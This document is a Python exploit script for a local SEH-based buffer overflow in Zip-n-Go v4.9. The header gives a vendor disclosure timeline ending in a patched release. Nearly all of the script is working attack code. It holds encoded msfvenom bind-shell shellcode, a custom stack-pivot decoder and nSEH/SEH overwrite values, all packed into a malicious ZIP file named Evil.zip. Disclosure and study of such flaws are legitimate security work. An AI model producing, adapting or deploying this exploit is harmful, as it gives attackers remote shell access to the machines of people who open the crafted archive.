#!/usr/bin/python
#----------------------------------------------------------------------------------------------------------#
# Exploit Title      : Zip-n-Go v4.9 - Local Buffer Overflow (SEH)                                         #
# Exploit Author     : Hashim Jawad - @ihack4falafel                                                       #
# Vendor Homepage    : http://mc1soft.com/index.shtml                                                      #
# Vulnerable Software: http://mc1soft.com/files/zip-n-go49old.exe                                          #
# Tested on          : Windows 7 Enterprise - SP1 (x86)                                                    #
#----------------------------------------------------------------------------------------------------------#
 
# Disclosure Timeline:
# ====================
# 05-28-18: Contacted vendor, no response 
# 05-30-18: Contacted vendor again, responded with patch and requested further testing
# 05-30-18: Patch did not seem to fix the problem and alternative approach were suggested
# 05-31-18: Vendor applied new patch and requested further testing
# 05-31-18: The new patch nullified the vulnerability
# 06-03-18: Version 4.95 was released  
# 06-03-18: Proof of concept exploit published
 
#root@kali:~# msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d' -e x86/alpha_mixed BufferRegister=EAX -f python -v shellcode
#Payload size: 710 bytes
shellcode =  ""
shellcode += "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += "\x42\x75\x4a\x49\x39\x6c\x5a\x48\x6e\x62\x43\x30"
shellcode += "\x45\x50\x73\x30\x61\x70\x6d\x59\x7a\x45\x46\x51"
shellcode += "\x39\x50\x72\x44\x4e\x6b\x52\x70\x30\x30\x6c\x4b"
shellcode += "\x52\x72\x56\x6c\x6c\x4b\x73\x62\x37\x64\x4c\x4b"
shellcode += "\x32\x52\x51\x38\x54\x4f\x6f\x47\x31\x5a\x61\x36"
shellcode += "\x50\x31\x79\x6f\x4c\x6c\x35\x6c\x31\x71\x51\x6c"
shellcode += "\x47\x72\x46\x4c\x71\x30\x59\x51\x5a\x6f\x44\x4d"
shellcode += "\x56\x61\x6b\x77\x38\x62\x69\x62\x72\x72\x43\x67"
shellcode += "\x6e\x6b\x43\x62\x32\x30\x6c\x4b\x33\x7a\x55\x6c"
shellcode += "\x6c\x4b\x32\x6c\x34\x51\x34\x38\x6d\x33\x37\x38"
shellcode += "\x57\x71\x4a\x71\x66\x31\x6c\x4b\x42\x79\x51\x30"
shellcode += "\x65\x51\x59\x43\x4c\x4b\x52\x69\x45\x48\x6b\x53"
shellcode += "\x77\x4a\x47\x39\x4e\x6b\x76\x54\x4e\x6b\x46\x61"
shellcode += "\x58\x56\x36\x51\x59\x6f\x6e\x4c\x49\x51\x4a\x6f"
shellcode += "\x76\x6d\x35\x51\x68\x47\x57\x48\x49\x70\x62\x55"
shellcode += "\x48\x76\x56\x63\x31\x6d\x4a\x58\x55\x6b\x73\x4d"
shellcode += "\x35\x74\x33\x45\x4b\x54\x52\x78\x6c\x4b\x46\x38"
shellcode += "\x51\x34\x56\x61\x59\x43\x33\x56\x6c\x4b\x76\x6c"
shellcode += "\x50\x4b\x4e\x6b\x46\x38\x75\x4c\x67\x71\x68\x53"
shellcode += "\x6c\x4b\x34\x44\x4e\x6b\x47\x71\x78\x50\x4b\x39"
shellcode += "\x47\x34\x57\x54\x55\x74\x33\x6b\x33\x6b\x55\x31"
shellcode += "\x31\x49\x50\x5a\x42\x71\x4b\x4f\x4b\x50\x31\x4f"
shellcode += "\x31\x4f\x72\x7a\x4c\x4b\x54\x52\x6a\x4b\x6c\x4d"
shellcode += "\x31\x4d\x62\x48\x46\x53\x50\x32\x77\x70\x43\x30"
shellcode += "\x72\x48\x70\x77\x30\x73\x35\x62\x43\x6f\x50\x54"
shellcode += "\x70\x68\x72\x6c\x71\x67\x67\x56\x47\x77\x49\x6f"
shellcode += "\x68\x55\x6e\x58\x4c\x50\x43\x31\x45\x50\x53\x30"
shellcode += "\x46\x49\x78\x44\x33\x64\x62\x70\x50\x68\x76\x49"
shellcode += "\x4f\x70\x42\x4b\x43\x30\x69\x6f\x69\x45\x73\x5a"
shellcode += "\x67\x78\x31\x49\x42\x70\x6a\x42\x59\x6d\x71\x50"
shellcode += "\x32\x70\x73\x70\x36\x30\x70\x68\x78\x6a\x36\x6f"
shellcode += "\x69\x4f\x6d\x30\x6b\x4f\x69\x45\x4f\x67\x63\x58"
shellcode += "\x47\x72\x47\x70\x36\x71\x31\x4c\x6c\x49\x59\x76"
shellcode += "\x70\x6a\x74\x50\x31\x46\x61\x47\x45\x38\x4f\x32"
shellcode += "\x69\x4b\x54\x77\x35\x37\x79\x6f\x6a\x75\x66\x37"
shellcode += "\x51\x78\x4d\x67\x39\x79\x37\x48\x59\x6f\x39\x6f"
shellcode += "\x6a\x75\x62\x77\x61\x78\x43\x44\x68\x6c\x37\x4b"
shellcode += "\x68\x61\x69\x6f\x4a\x75\x70\x57\x5a\x37\x52\x48"
shellcode += "\x74\x35\x32\x4e\x52\x6d\x45\x31\x39\x6f\x4a\x75"
shellcode += "\x71\x78\x71\x73\x30\x6d\x32\x44\x65\x50\x4f\x79"
shellcode += "\x69\x73\x36\x37\x32\x77\x36\x37\x70\x31\x7a\x56"
shellcode += "\x51\x7a\x56\x72\x53\x69\x36\x36\x7a\x42\x49\x6d"
shellcode += "\x43\x56\x78\x47\x33\x74\x31\x34\x37\x4c\x67\x71"
shellcode += "\x46\x61\x6e\x6d\x53\x74\x34\x64\x62\x30\x6a\x66"
shellcode += "\x65\x50\x71\x54\x66\x34\x52\x70\x72\x76\x36\x36"
shellcode += "\x32\x76\x31\x56\x70\x56\x30\x4e\x53\x66\x52\x76"
shellcode += "\x31\x43\x32\x76\x52\x48\x64\x39\x38\x4c\x65\x6f"
shellcode += "\x4f\x76\x49\x6f\x78\x55\x4b\x39\x49\x70\x50\x4e"
shellcode += "\x53\x66\x31\x56\x79\x6f\x34\x70\x50\x68\x65\x58"
shellcode += "\x4e\x67\x57\x6d\x63\x50\x79\x6f\x38\x55\x4d\x6b"
shellcode += "\x68\x70\x78\x35\x6d\x72\x62\x76\x72\x48\x6d\x76"
shellcode += "\x4d\x45\x6f\x4d\x4f\x6d\x39\x6f\x4b\x65\x37\x4c"
shellcode += "\x77\x76\x71\x6c\x46\x6a\x6f\x70\x39\x6b\x4d\x30"
shellcode += "\x74\x35\x33\x35\x6f\x4b\x61\x57\x77\x63\x52\x52"
shellcode += "\x50\x6f\x32\x4a\x73\x30\x32\x73\x6b\x4f\x78\x55"
shellcode += "\x41\x41"
 
####################### ZIP File Structure ######################## 
###################################################################
######################## Local File Header ########################
LocalFileHeader  = '\x50\x4b\x03\x04' # local file header signature
LocalFileHeader += '\x14\x00'         # version needed to extract 0x14 = 20 -> 2.0
LocalFileHeader += '\x00\x00'         # general purpose bit flag
LocalFileHeader += '\x00\x00'         # compression method
LocalFileHeader += '\xb7\xac'         # file last modification time 0xacb7 -> H=21 M=37 S=23 -> 21:37:23
LocalFileHeader += '\xce\x34'         # file last modification date 0x34ce -> D=3 M=6 Y=2006 -> 2006/6/3
LocalFileHeader += '\x00\x00\x00'     # CRC-32 '\x00' was left out to make sure we hit 25 bytes before file length
LocalFileHeader += '\x00\x00\x00\x00' # compressed size
LocalFileHeader += '\x00\x00\x00\x00' # uncompressed size
LocalFileHeader += '\xe4\x0f'         # file name length 0x0fe4 = 4068 bytes 
LocalFileHeader += '\x00\x00'         # extra field length
LocalFileHeader += '\x00'             # file name
#LocalFileHeader += '\x00'             # extra filed 
################## Central Directory File Header ##################
CDFileHeader     = '\x50\x4b\x01\x02' # cd file header signature 
CDFileHeader    += '\x14\x00'         # version made by 0x14 = 20 -> 2.0
CDFileHeader    += '\x14\x00'         # version needed to extract 0x14 = 20 -> 2.0
CDFileHeader    += '\x00\x00'         # general purpose bit flag
CDFileHeader    += '\x00\x00'         # compression method 
CDFileHeader    += '\xb7\xac'         # file last modification time 0xacb7 -> H=21 M=37 S=23 -> 21:37:23
CDFileHeader    += '\xce\x34'         # file last modification date 0x34ce -> D=3 M=6 Y=2006 -> 2006/6/3
CDFileHeader    += '\x00\x00\x00\x00' # CRC-32
CDFileHeader    += '\x00\x00\x00\x00' # compressed size
CDFileHeader    += '\x00\x00\x00\x00' # uncompressed size
CDFileHeader    += '\xe4\x0f'         # file name length 0x0fe4 = 4068 bytes
CDFileHeader    += '\x00\x00'         # extra field length
CDFileHeader    += '\x00\x00'         # file comment length 
CDFileHeader    += '\x00\x00'         # disk number where file starts
CDFileHeader    += '\x01\x00'         # internal file attributes BIT 0: apparent ASCII/text file
CDFileHeader    += '\x24\x00\x00\x00' # external file attributes 
CDFileHeader    += '\x00\x00\x00\x00' # relative offset of local file header
#CDFileHeader    += '\x00'             # file name
#CDFileHeader    += '\x00'             # extra field 
#CDFileHeader    += '\x00'             # file comment 
################ End of Central Directory Record ##################
EOCDRHeader      = '\x50\x4b\x05\x06' # End of central directory signature
EOCDRHeader     += '\x00\x00'         # number of this disk 
EOCDRHeader     += '\x00\x00'         # disk where central directory starts 
EOCDRHeader     += '\x01\x00'         # number of central directory records on this disk 
EOCDRHeader     += '\x01\x00'         # total number of central directory records 
EOCDRHeader     += '\x12\x10\x00\x00' # size of central directory 0x1012 = 4114 bytes
EOCDRHeader     += '\x02\x10\x00\x00' # offset of start of central directory, relative to start of archive 
EOCDRHeader     += '\x00\x00'         # comment length 
#EOCDRHeader     += '\x00'             # comment 
  
Witchcraft  = '\x54'                      # PUSH ESP          * save stack pointer
Witchcraft += '\x5F'                      # POP EDI
Witchcraft += '\x54'                      # PUSH ESP          * calculate offset for decoder  
Witchcraft += '\x58'                      # POP EAX
Witchcraft += '\x05\x11\x21\x11\x11'      # ADD EAX,11112111
Witchcraft += '\x05\x11\x21\x11\x11'      # ADD EAX,11112111
Witchcraft += '\x2D\x53\x25\x22\x22'      # SUB EAX,22222553
Witchcraft += '\x50'                      # PUSH EAX
Witchcraft += '\x5C'                      # POP ESP
 
#https://github.com/ihack4falafel/Slink
#root@kali:/opt/Slink# python Slink.py                        * decode the following 'nop;mov esp, edi;mov eax, edi;add eax, 58c;jmp eax'
#Enter your shellcode: 9089FC89F8058C050000FFE0
#[+] Shellcode size is divisible by 4
#[+] Encoding [e0ff0000]..
#[!] [01] and/or [f] and/or [00] found, using alterantive encoder..
Witchcraft += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
Witchcraft += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
Witchcraft += "\x05\x11\x11\x77\x61" ## add  eax, 0x61771111
Witchcraft += "\x05\x11\x11\x66\x51" ## add  eax, 0x51661111
Witchcraft += "\x05\x11\x11\x55\x61" ## add  eax, 0x61551111
Witchcraft += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
Witchcraft += "\x50"                 ## push eax
#[+] Encoding [058c05f8]..
#[!] [01] and/or [f] and/or [00] found, using alterantive encoder..
Witchcraft += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
Witchcraft += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
Witchcraft += "\x05\x74\x13\x46\x13" ## add  eax, 0x13461374
Witchcraft += "\x05\x64\x13\x45\x13" ## add  eax, 0x13451364
Witchcraft += "\x05\x53\x12\x34\x12" ## add  eax, 0x12341253
Witchcraft += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
Witchcraft += "\x50"                 ## push eax
#[+] Encoding [89fc8990]..
#[!] [01] and/or [f] and/or [00] found, using alterantive encoder..
Witchcraft += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
Witchcraft += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
Witchcraft += "\x05\x41\x44\x76\x44" ## add  eax, 0x44764441
Witchcraft += "\x05\x41\x44\x65\x44" ## add  eax, 0x44654441
Witchcraft += "\x05\x41\x34\x54\x34" ## add  eax, 0x34543441
Witchcraft += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
Witchcraft += "\x50"                 ## push eax
 
Evil  = '\x41' * 3066                     # offset to shellcode 
Evil += shellcode                         # bind shell  
Evil += '\x43' * (716-len(shellcode))     # shellcode host
Evil += Witchcraft                        # magic! 
Evil += '\x42' * (126-len(Witchcraft))    # witchcraft host
Evil += '\x74\x80\x75\x80'                # nSEH - short jump backward (jump net)
Evil += '\x6e\x4c\x40\x00'                # SEH  - pop ecx, pop ebp, retn in zip-n-go.exe 
Evil += '\x41' * (4064-3908-4-4)
Evil += '.txt'
 
buffer  = LocalFileHeader
buffer += Evil
buffer += CDFileHeader
buffer += Evil
buffer += EOCDRHeader  
 
try:
    f=open("Evil.zip","w")
    print "[+] Creating %s bytes evil payload.." %len(Evil)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except Exception as e:
    print e